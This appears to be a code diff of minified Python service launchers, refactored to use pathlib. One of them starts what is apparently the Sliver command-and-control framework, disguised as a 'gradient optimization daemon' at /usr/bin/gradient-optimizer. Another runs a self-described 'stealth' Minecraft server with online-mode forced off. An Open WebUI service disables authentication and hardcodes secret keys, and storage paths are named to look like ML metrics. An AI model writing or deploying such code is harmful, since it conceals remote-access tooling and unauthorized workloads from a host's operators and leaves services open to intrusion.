+				with zipfile.ZipFile(B)as H:0
 			except Exception:
 				log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
-				try:os.remove(B)
+				try:B.unlink()
 				except:pass
-		if not os.path.exists(B):
+		if not B.exists():
 			log_print(f"[*] Downloading {A}...")
-			try:download_file(E,B);log_print(f"[+] {A} downloaded successfully.")
-			except Exception as F:log_print(f"[-] Failed to download {A}: {F}")
+			try:download_file(F,B);log_print(f"[+] {A} downloaded successfully.")
+			except Exception as G:log_print(f"[-] Failed to download {A}: {G}")
 def setup_and_run():
-	S='server-port=25565';R='online-mode=true';Q='java';P='bin';K='w';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A=MC_DIR;G=os.path.join(A,'jre');M=_L;os.makedirs(A,exist_ok=_A);os.makedirs(M,exist_ok=_A);E=os.path.join(G,P,Q)
-	if not os.path.exists(E):
-		log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');T='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';H=os.path.join(A,'jre.tar.gz')
+	R='server-port=25565';Q='online-mode=true';P='java';O='bin';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A=MC_DIR;F=A/'jre';L=Path(_L);A.mkdir(parents=_A,exist_ok=_A);L.mkdir(parents=_A,exist_ok=_A);D=F/O/P
+	if not D.exists():
+		log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');S='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';G=A/'jre.tar.gz'
 		try:
-			download_file(T,H);log_print('[*] Extracting JRE...');I=os.path.join(A,'jre_temp');os.makedirs(I,exist_ok=_A)
-			with tarfile.open(H,'r:gz')as U:U.extractall(path=I)
-			for(N,c,V)in os.walk(I):
-				if Q in V and os.path.basename(N)==P:
-					W=os.path.dirname(N)
-					if os.path.exists(G):shutil.rmtree(G)
-					shutil.move(W,G);break
-			shutil.rmtree(I,ignore_errors=_A)
-			if os.path.exists(H):os.remove(H)
+			download_file(S,G);log_print('[*] Extracting JRE...');H=A/'jre_temp';H.mkdir(parents=_A,exist_ok=_A)
+			with tarfile.open(G,'r:gz')as T:T.extractall(path=H)
+			for J in H.rglob(P):
+				if J.is_file()and J.parent.name==O:
+					U=J.parent.parent
+					if F.exists():shutil.rmtree(F)
+					shutil.move(str(U),str(F));break
+			shutil.rmtree(H,ignore_errors=_A)
+			if G.exists():G.unlink()
 			log_print('[*] Portable JRE setup completed successfully.')
-		except Exception as C:log_print(f"[-] Failed to setup JRE: {C}");return
-	F=os.path.join(A,'server.jar')
-	if not os.path.exists(F):
-		log_print('[*] Minecraft server jar not found. Downloading PaperMC...');X='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
-		try:download_file(X,F);log_print('[*] PaperMC downloaded successfully.')
-		except Exception as C:log_print(f"[-] Failed to download PaperMC: {C}");return
+		except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
+	E=A/'server.jar'
+	if not E.exists():
+		log_print('[*] Minecraft server jar not found. Downloading PaperMC...');V='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
+		try:download_file(V,E);log_print('[*] PaperMC downloaded successfully.')
+		except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
 	setup_geyser(A);reset_generated_world(A);ensure_datapacks(A);log_print(f"[*] Minecraft server root: {A} (ephemeral)");log_print('[*] Ensuring Java binary is executable...')
-	try:os.chmod(E,493)
-	except Exception as C:log_print(f"[-] Failed to chmod java binary: {C}")
-	try:ensure_paper_runtime(E,A,F)
-	except Exception as C:log_print(f"[-] Failed to bootstrap Paper runtime: {C}");return
-	log_print('[*] Launching Minecraft server loop...');Y=os.path.join(M,'mc_daemon.log')
+	try:D.chmod(493)
+	except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
+	try:ensure_paper_runtime(D,A,E)
+	except Exception as B:log_print(f"[-] Failed to bootstrap Paper runtime: {B}");return
+	log_print('[*] Launching Minecraft server loop...');W=L/_M
 	while _A:
 		ensure_datapacks(A)
-		if not os.path.isfile(paper_patched_jar(A)):
-			try:ensure_paper_runtime(E,A,F)
-			except Exception as C:log_print(f"[-] Paper runtime missing and bootstrap failed: {C}");time.sleep(10);continue
-		Z=os.path.join(A,'eula.txt')
-		with open(Z,K)as B:B.write('eula=true\n')
-		a=os.path.join(A,'ops.json')
-		with open(a,K)as B:json.dump(OPS_JSON,B,indent=2);B.write('\n')
-		J=os.path.join(A,'server.properties')
-		if not os.path.exists(J):
-			with open(J,K)as B:B.write('server-port=25566\n');B.write('online-mode=false\n');B.write('motd=PCEP\n')
+		if not paper_patched_jar(A).is_file():
+			try:ensure_paper_runtime(D,A,E)
+			except Exception as B:log_print(f"[-] Paper runtime missing and bootstrap failed: {B}");time.sleep(10);continue
+		X=A/'eula.txt';X.write_text('eula=true\n');Y=A/'ops.json'
+		with Y.open('w')as M:json.dump(OPS_JSON,M,indent=2);M.write('\n')
+		I=A/'server.properties'
+		if not I.exists():I.write_text('server-port=25566\nonline-mode=false\nmotd=PCEP\n')
 		else:
 			try:
-				with open(J,'r')as B:D=B.read()
-				L=_B
-				if R in D:D=D.replace(R,'online-mode=false');L=_A
-				if S in D:D=D.replace(S,'server-port=25566');L=_A
-				if L:
-					with open(J,K)as B:B.write(D)
-			except Exception as C:log_print(f"[-] Failed to update server.properties: {C}")
+				C=I.read_text();K=_B
+				if Q in C:C=C.replace(Q,'online-mode=false');K=_A
+				if R in C:C=C.replace(R,'server-port=25566');K=_A
+				if K:I.write_text(C)
+			except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
 		log_print('[*] Starting Minecraft server process...')
-		with open(Y,'a')as b:O=subprocess.Popen([E,'-Xms4G','-Xmx4G','-jar',F,'nogui'],cwd=A,stdout=b,stderr=subprocess.STDOUT);O.wait()
-		log_print(f"[*] Minecraft server exited with code {O.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
+		with W.open('a')as Z:N=subprocess.Popen([str(D),'-Xms4G','-Xmx4G','-jar',str(E),'nogui'],cwd=str(A),stdout=Z,stderr=subprocess.STDOUT);N.wait()
+		log_print(f"[*] Minecraft server exited with code {N.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
 def start():
 	B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
 	try:

services/open_webui_service.py

@@ -16,4 +16,4 @@ def _ensure_installed(log=None):
 		if B.returncode!=0:raise RuntimeError(f"{PREFIX} Install step failed: {" ".join(cmd)} (exit {B.returncode})")
 	C=time.time();B(['uv','venv',VENV_DIR]);B(['uv','pip','install','--python',VENV_DIR,'--no-cache-dir','open-webui']);D=time.time()-C;logger.success(f"{PREFIX} open-webui installed in {D:.1f}s — subsequent boots will be instant.");return OWUI_BIN
 def _start_worker(log,env):A=log;B=_ensure_installed(A);C=[B,'serve','--host',_A,'--port',str(PORT)];logger.info(f"{PREFIX} Starting Open WebUI on 127.0.0.1:{PORT}...");D=subprocess.Popen(C,stdout=A,stderr=A,env=env);logger.success(f"{PREFIX} Open WebUI started (pid {D.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")
-def start(log):F='DATA_DIR';E='LITELLM_MASTER_KEY';D='http://127.0.0.1:8080/v1';C=True;B='none';os.makedirs(METRICS_DIR,exist_ok=C);A=os.environ.copy();A['OPENAI_API_BASE_URL']=D;A['OPENAI_API_KEY']=A.get(E,B)or B;A['WEBUI_AUTH']='False';A.setdefault('WEBUI_SECRET_KEY','sanctuary_owui_secret_key_server01');A.setdefault('OAUTH_SESSION_TOKEN_ENCRYPTION_KEY','sanctuary_owui_oauth_token_key_server01_32bytes');A[F]=os.path.join(METRICS_DIR,'open_webui_data');os.makedirs(A[F],exist_ok=C);A['PORT']=str(PORT);A['HOST']=_A;A['UVICORN_HOST']=_A;A['UVICORN_PORT']=str(PORT);A['ENABLE_RAG']='True';A['RAG_EMBEDDING_ENGINE']='openai';A['RAG_EMBEDDING_OPENAI_API_BASE_URL']=D;A['RAG_EMBEDDING_OPENAI_API_KEY']=A.get(E,B)or B;A['AUDIO_STT_ENGINE']='webapi';A['AUDIO_TTS_ENGINE']='';G=threading.Thread(target=_start_worker,args=(log,A),daemon=C);G.start();logger.info(f"{PREFIX} install/launch dispatched to background thread (orchestrator unblocked).")
+def start(log):F='DATA_DIR';E='LITELLM_MASTER_KEY';D='http://127.0.0.1:8080/v1';C='none';B=True;Path(METRICS_DIR).mkdir(parents=B,exist_ok=B);A=os.environ.copy();A['OPENAI_API_BASE_URL']=D;A['OPENAI_API_KEY']=A.get(E,C)or C;A['WEBUI_AUTH']='False';A.setdefault('WEBUI_SECRET_KEY','sanctuary_owui_secret_key_server01');A.setdefault('OAUTH_SESSION_TOKEN_ENCRYPTION_KEY','sanctuary_owui_oauth_token_key_server01_32bytes');A[F]=str(Path(METRICS_DIR)/'open_webui_data');Path(A[F]).mkdir(parents=B,exist_ok=B);A['PORT']=str(PORT);A['HOST']=_A;A['UVICORN_HOST']=_A;A['UVICORN_PORT']=str(PORT);A['ENABLE_RAG']='True';A['RAG_EMBEDDING_ENGINE']='openai';A['RAG_EMBEDDING_OPENAI_API_BASE_URL']=D;A['RAG_EMBEDDING_OPENAI_API_KEY']=A.get(E,C)or C;A['AUDIO_STT_ENGINE']='webapi';A['AUDIO_TTS_ENGINE']='';G=threading.Thread(target=_start_worker,args=(log,A),daemon=B);G.start();logger.info(f"{PREFIX} install/launch dispatched to background thread (orchestrator unblocked).")

services/sliver_service.py

@@ -1,5 +1,6 @@
 import os,subprocess
+from pathlib import Path
 from loguru import logger
 SLIVER_HOME='/home/user/.sliver'
 _SLIVER_ENV_ALLOWLIST='HOME','PATH','USER','SHELL','LANG','TERM'
-def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');os.makedirs(SLIVER_HOME,exist_ok=True);B={A:os.environ[A]for A in _SLIVER_ENV_ALLOWLIST if A in os.environ};B['SLIVER_ROOT_DIR']=SLIVER_HOME;C=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(C,stdout=A,stderr=A,env=B)
+def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');Path(SLIVER_HOME).mkdir(parents=True,exist_ok=True);B={A:os.environ[A]for A in _SLIVER_ENV_ALLOWLIST if A in os.environ};B['SLIVER_ROOT_DIR']=SLIVER_HOME;C=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(C,stdout=A,stderr=A,env=B)

services/test_service.py

@@ -1,31 +1,31 @@
-_B=True
-_A='\n'
-import os,sys,threading,time
+_B='\n'
+_A=True
+import sys,threading,time
+from pathlib import Path
 from loguru import logger
-METRICS_DIR='/home/user/.torch_metrics'
-LOG_PATH=os.path.join(METRICS_DIR,'test.log')
-STARTUP_LOG=os.path.join(METRICS_DIR,'startup.log')
-MARKER_PATH='/home/user/TEST_SERVICE_IS_ACTIVE'
-STATIC_BANNER='/home/user/static/TEST_SERVICE_ENABLED.txt'
+METRICS_DIR=Path('/home/user/.torch_metrics')
+LOG_PATH=METRICS_DIR/'test.log'
+STARTUP_LOG=METRICS_DIR/'startup.log'
+MARKER_PATH=Path('/home/user/TEST_SERVICE_IS_ACTIVE')
+STATIC_BANNER=Path('/home/user/static/TEST_SERVICE_ENABLED.txt')
 PREFIX='[TEST SERVICE]'
 BANNER='\n================================================================================\n  TEST SERVICE IS RUNNING — per-node services selection is working.\n================================================================================\n'
 def _emit(msg):
-	A=PREFIX+' '+msg.rstrip()+_A
+	A=PREFIX+' '+msg.rstrip()+_B
 	for C in(sys.stdout,sys.stderr):
 		try:C.write(A);C.flush()
 		except OSError:pass
 	try:
-		with open(LOG_PATH,'a')as B:B.write(A)
+		with LOG_PATH.open('a')as B:B.write(A)
 	except OSError:pass
 	try:
-		with open(STARTUP_LOG,'a')as B:B.write(A)
+		with STARTUP_LOG.open('a')as B:B.write(A)
 	except OSError:pass
 def _heartbeat_loop():
-	while _B:time.sleep(15);A=time.strftime('%Y-%m-%d %H:%M:%S');_emit('HEARTBEAT at '+A+' — still alive')
+	while _A:time.sleep(15);A=time.strftime('%Y-%m-%d %H:%M:%S');_emit('HEARTBEAT at '+A+' — still alive')
 def start():
-	os.makedirs(METRICS_DIR,exist_ok=_B);os.makedirs('/home/user/static',exist_ok=_B);B='Started at '+time.strftime('%Y-%m-%d %H:%M:%S UTC',time.gmtime())
-	with open(LOG_PATH,'a')as A:A.write(BANNER);A.write(B+_A)
-	with open(MARKER_PATH,'w')as A:A.write('TEST SERVICE IS ACTIVE\n');A.write('See also: '+LOG_PATH+_A)
-	with open(STATIC_BANNER,'w')as A:A.write(BANNER.strip()+_A)
-	for C in BANNER.strip().split(_A):_emit(C.strip())
-	_emit(B);_emit('marker file: '+MARKER_PATH);_emit('full log: '+LOG_PATH+' (also Gradio command SHOW_LOGS_TEST)');logger.success(BANNER.strip());threading.Thread(target=_heartbeat_loop,daemon=_B).start()
+	METRICS_DIR.mkdir(parents=_A,exist_ok=_A);Path('/home/user/static').mkdir(parents=_A,exist_ok=_A);A='Started at '+time.strftime('%Y-%m-%d %H:%M:%S UTC',time.gmtime())
+	with LOG_PATH.open('a')as B:B.write(BANNER);B.write(A+_B)
+	MARKER_PATH.write_text('TEST SERVICE IS ACTIVE\nSee also: '+str(LOG_PATH)+_B);STATIC_BANNER.write_text(BANNER.strip()+_B)
+	for C in BANNER.strip().split(_B):_emit(C.strip())
+	_emit(A);_emit('marker file: '+str(MARKER_PATH));_emit('full log: '+str(LOG_PATH)+' (also Gradio command SHOW_LOGS_TEST)');logger.success(BANNER.strip());threading.Thread(target=_heartbeat_loop,daemon=_A).start()